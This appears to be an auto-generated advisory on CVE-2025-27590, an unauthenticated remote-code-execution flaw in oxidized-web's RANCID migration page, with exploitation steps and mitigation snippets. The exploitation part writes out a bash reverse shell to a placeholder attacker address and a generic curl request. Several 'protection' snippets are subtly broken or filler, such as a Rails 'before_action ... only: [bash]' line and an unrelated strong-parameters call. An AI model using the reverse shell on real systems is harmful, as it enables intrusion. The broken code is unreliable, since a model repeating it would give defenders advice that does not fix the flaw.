How the CVE Works:
CVE-2025-27590 is a critical vulnerability in oxidized-web (Oxidized Web) versions before 0.15.0. The flaw resides in the RANCID migration page, which fails to properly authenticate user inputs. An unauthenticated attacker can exploit this vulnerability by sending crafted requests to the RANCID migration endpoint. This allows the attacker to execute arbitrary commands on the server with the privileges of the Linux user account running the oxidized-web service. The lack of input validation and authentication mechanisms enables remote code execution (RCE), potentially leading to full system compromise.
DailyCVE Form:
Platform: Oxidized Web
Version: < 0.15.0
Vulnerability: Unauthenticated RCE
Severity: Critical
Date: 03/02/2025
What Undercode Say:
Exploitation:
1. Crafting the Exploit:
An attacker can send a malicious payload to the RANCID migration endpoint using tools like `curl` or custom scripts.
Example:
curl -X POST http://<target-ip>/rancid_migration -d "payload=malicious_command"
2. Payload Execution:
The payload is executed on the server with the privileges of the oxidized-web user.
Example Payload:
bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'
3. Post-Exploitation:
Once access is gained, attackers can escalate privileges, exfiltrate data, or deploy persistence mechanisms.
Protection:
1. Patch Management:
Upgrade to oxidized-web version 0.15.0 or later, which includes fixes for this vulnerability.
gem install oxidized-web --version '>= 0.15.0'
2. Input Validation:
Implement strict input validation and sanitization for all user inputs.
Example in Ruby:
params.require(:input).permit(:validated_input)
3. Authentication:
Ensure all endpoints require proper authentication.
Example:
before_action :authenticate_user!, only: [bash]
4. Network Hardening:
Restrict access to the oxidized-web service using firewalls or network access control lists (ACLs).
Example:
iptables -A INPUT -p tcp --dport 80 -s trusted-ip -j ACCEPT iptables -A INPUT -p tcp --dport 80 -j DROP
5. Monitoring and Logging:
Enable detailed logging and monitor for suspicious activity.
Example:
tail -f /var/log/oxidized-web/access.log
6. Exploit Detection:
Use intrusion detection systems (IDS) to detect exploitation attempts.
Example Snort Rule:
alert tcp any any -> $HOME_NET 80 (msg:"Oxidized Web RCE Attempt"; content:"rancid_migration"; nocase; sid:1000001;)
7. Code Review:
Regularly review code for security flaws, especially in authentication and input handling.
By following these steps, organizations can mitigate the risk posed by CVE-2025-27590 and protect their systems from exploitation.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-27590
Extra Source Hub:
Undercode
